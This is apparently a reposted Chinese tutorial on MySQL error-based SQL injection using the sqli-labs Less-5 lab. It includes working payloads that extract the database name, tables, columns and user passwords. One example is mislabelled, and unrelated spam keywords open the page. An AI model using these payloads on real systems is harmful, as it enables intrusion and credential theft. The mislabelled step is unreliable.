真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

mysqlget基于報錯的盲注方法是什么

這篇文章主要講解了“MySQL get基于報錯的盲注方法是什么”,文中的講解內(nèi)容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“mysql get基于報錯的盲注方法是什么”吧!

創(chuàng)新互聯(lián)公司2013年至今,先為新華等服務建站,新華等地企業(yè),進行企業(yè)商務咨詢服務。為新華企業(yè)網(wǎng)站制作PC+手機+微官網(wǎng)三網(wǎng)同步一站式服務解決您的所有建站問題。

報錯注入

報錯注入就是在注入過程中黑客根據(jù)錯誤回顯進行判斷。 形式上是兩個嵌套的查詢,即select...(select...),里面的select被稱為子查詢,他的執(zhí)行順序也是先執(zhí)行子查詢,然后再執(zhí)行行外面的select,雙注入主要涉及到一下sql函數(shù):

rand()隨機函數(shù),返回0~1之間的某個值
floor(a)取整函數(shù),返回小于等于a,且值最接近a的一個整數(shù)
count()聚合函數(shù)也稱作計數(shù)函數(shù),返回查詢對象的總數(shù)
group by clause分組語句,按照查詢結(jié)果分組
通過報錯來顯示出具體的信息。
查詢的時候如果使用rand()的話,該值會被計算多次。在使用group by的時候,floor(rand(0)*2)會被執(zhí)行一次,如果虛表不存在記錄,插入虛表的時候會再被執(zhí)行一次。

less-5為例演示

首先使用報錯注入:構(gòu)造語句

1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

顯示結(jié)果

mysql get基于報錯的盲注方法是什么

  • 為什么會出現(xiàn)這樣的情況,因為當在一個聚合函數(shù),比如count函數(shù)后面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

  • 那么,對這個語句中的函數(shù)(也就是上面的4個函數(shù))進一個一個學習: 在本地連接數(shù)據(jù)庫,查詢測試一下concat()的用法。

輸入: select concat('qwe','abc');

mysql get基于報錯的盲注方法是什么

看到將qwe和abc拼接在一起

然后測試一下rand()這個隨機函數(shù):

輸入語句:select floor(1.2343232);select floor(3.893);

mysql get基于報錯的盲注方法是什么

一共輸入的三次,每次輸出的數(shù)都是隨機,但是這些數(shù)都是大于0,小于1的數(shù)

然后測試一下floor()函數(shù)

輸入語句:select floor(1.2343232);select floor(3.893);

mysql get基于報錯的盲注方法是什么

輸出的都是小于或者等于輸入的數(shù)

然后測試一下雙注入查詢的組合

輸入的語句:select floor(rand()*2);

mysql get基于報錯的盲注方法是什么

分析一下,從里往外走,rand()*2永遠不可能等于2,不可能小于0;所以floor取整就是1,或者就是0

在深入一下,測試:

select concat((select database()),floor(rand()*2));

mysql get基于報錯的盲注方法是什么

看到concat將數(shù)據(jù)庫和后面的取整,合并在一起了。 同理,在less-5的第一個報錯語句concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a

mysql get基于報錯的盲注方法是什么

0x3a是:號,所以就將他們拼接起來。

  • 如果在后面加上from emails表的話,那么返回的結(jié)果就是security0和security1的集,總共有多少條呢,那就要看表里面有多少列信息。

  • mysql get基于報錯的盲注方法是什么

  • mysql get基于報錯的盲注方法是什么

下面,加上group by語句。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

mysql get基于報錯的盲注方法是什么

as a就是將查詢的concat((select database()), floor(rand()*2))名字另取a;然后用group by a進行分組。這樣相同的security0和security1分別分成一組,也就是兩組,也是兩種結(jié)果。

然后我們加上聚合函數(shù)count(*)

select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;

mysql get基于報錯的盲注方法是什么

同理,less-5第一報錯:

mysql get基于報錯的盲注方法是什么

參考教程

1.爆出數(shù)據(jù)庫

構(gòu)造語句:

1' union select 1,2,3 from (select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

頁面顯示:

mysql get基于報錯的盲注方法是什么

2.爆出表

構(gòu)造語句:

1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

mysql get基于報錯的盲注方法是什么

3.爆出列名

構(gòu)造語句:

1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a --+

mysql get基于報錯的盲注方法是什么

4.獲取用戶信息

構(gòu)造語句:

1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

感謝各位的閱讀,以上就是“mysql get基于報錯的盲注方法是什么”的內(nèi)容了,經(jīng)過本文的學習后,相信大家對mysql get基于報錯的盲注方法是什么這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!


網(wǎng)頁名稱:mysqlget基于報錯的盲注方法是什么
路徑分享:http://weahome.cn/article/gsigeh.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部